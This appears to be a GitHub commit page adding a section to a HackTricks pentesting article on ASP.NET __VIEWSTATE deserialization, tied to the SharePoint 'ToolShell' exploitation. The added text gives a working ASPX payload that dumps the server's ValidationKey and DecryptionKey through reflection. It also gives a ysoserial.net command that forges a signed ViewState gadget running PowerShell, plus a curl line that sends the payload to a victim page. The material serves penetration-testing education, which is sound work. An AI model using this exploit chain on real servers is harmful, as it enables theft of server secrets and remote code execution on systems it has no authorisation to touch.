Skip to content

Commit b0c2d69

Browse files
authored
Merge pull request #1165 from HackTricks-wiki/update_SharePoint_0-day_uncovered__CVE-2025-53770__20250721_124850
SharePoint 0-day uncovered (CVE-2025-53770)
2 parents bcd6637 + 473aaac commit b0c2d69

1 file changed

Lines changed: 36 additions & 0 deletions

File tree

src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -202,12 +202,48 @@ For all the test cases, if the ViewState YSoSerial.Net payload works **successfu
202202

203203
Check for [further information here](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
204204

205+
### Dumping ASP.NET Machine Keys via Reflection (SharPyShell/SharePoint ToolShell)
206+
207+
Attackers who are able to **upload or execute arbitrary ASPX code** inside the target web root can directly retrieve the secret keys that protect `__VIEWSTATE` instead of bruteforcing them.
208+
A minimal payload that leaks the keys leverages internal .NET classes through reflection:
209+
210+
```csharp
211+
<%@ Import Namespace="System.Web.Configuration" %>
212+
<%@ Import Namespace="System.Reflection" %>
213+
<script runat="server">
214+
public void Page_Load(object sender, EventArgs e)
215+
{
216+
var asm = Assembly.Load("System.Web");
217+
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
218+
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
219+
var cfg = (MachineKeySection)m.Invoke(null, null);
220+
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
221+
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
222+
}
223+
</script>
224+
```
225+
226+
Requesting the page prints the **ValidationKey**, **DecryptionKey**, the encryption algorithm and the ASP.NET compatibility mode. These values can now be fed straight into **ysoserial.net** to create a valid, signed `__VIEWSTATE` gadget:
227+
228+
```bash
229+
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
230+
-c "powershell -nop -c \"whoami\"" \
231+
--generator=<VIEWSTATE_GENERATOR> \
232+
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
233+
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
234+
--islegacy --minify
235+
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
236+
```
237+
238+
This **key-exfiltration primitive** was mass-exploited against on-prem SharePoint servers in 2025 ("ToolShell"CVE-2025-53770/53771), but it is applicable to any ASP.NET application where an attacker can run server-side code.
239+
205240
## References
206241

207242
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
208243
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
209244
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
210245
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
246+
- [SharePointToolShellexploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
211247
212248

213249

0 commit comments

Comments
 (0)